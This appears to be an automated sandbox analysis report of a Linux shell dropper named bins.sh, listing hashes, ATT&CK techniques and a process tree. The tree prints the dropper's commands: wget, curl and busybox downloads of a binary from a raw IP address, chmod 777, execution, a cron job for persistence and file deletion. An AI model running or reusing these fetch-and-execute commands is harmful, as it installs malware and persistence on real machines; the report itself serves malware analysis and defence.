d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f

General

Target

bins.sh
Size

10KB
MD5

242c2d611eb5f6a69491c5473478724d
SHA1

43fc8b512a15760d8f534d472b1c397ffb32db53
SHA256

d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f
SHA512

e292d25f39f1cf3ad6f46ee5d4f6ba74ca66ff6a23276bd28a23e5dc6048e7e41887196e2140dcedabf6571dc4e74d21abbded8594205ff505b231aee1ba44ab
SSDEEP

192:cphIsylBhwNZPm+Q/N3Xgz79uOkNJmXIsylBhiNZPm+c3XgfuOkNJD:cphIsUBhD/c75XIsUBh3

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1513 chmod
Executes dropped EXE 1 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

ioc pid process

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc 1514 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
Renames itself 1 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

pid process

1515 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.S9G7Px crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1513	chmod

ioc	pid	process
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	1514	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

pid	process
1515	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.S9G7Px	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

description	ioc	process
File opened for reading	/proc/168/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/23/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1162/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1248/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1606/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/4/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/477/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1560/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/481/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1105/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1530/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1555/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/36/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1547/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1567/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/21/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/27/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/135/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/554/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1153/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/22/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/185/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/13/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/637/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/179/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1183/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1185/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1592/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1604/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1062/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1072/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1095/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1151/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1561/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1540/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1613/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/11/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/35/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1522/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1550/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1551/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1570/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/7/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/423/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1611/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/330/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1135/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1188/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1503/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1616/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/84/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1119/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1308/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1572/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/78/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1186/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/278/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/613/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1586/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1589/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/10/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/176/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/480/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1029/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	wget
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	curl
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1505
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  ./dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.S9G7Px

Filesize
210B

MD5
21879d6d5208f8303aedbc6a776d57c3

SHA1
1b6171f0b74f6447245771589e5f338c6e785f22

SHA256
e698c6419a3c7fdcf72653603766b195754955f45b050ee88ce33ed44f3fb5dd

SHA512
81d172c5953e75f1dd6e4a16f55bd836dae512203dcc881bf4a1c36813200c3d0a6231a29678c2063f98ccad10344ce29966944137d9b9f9299f674c0f82cbfb

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads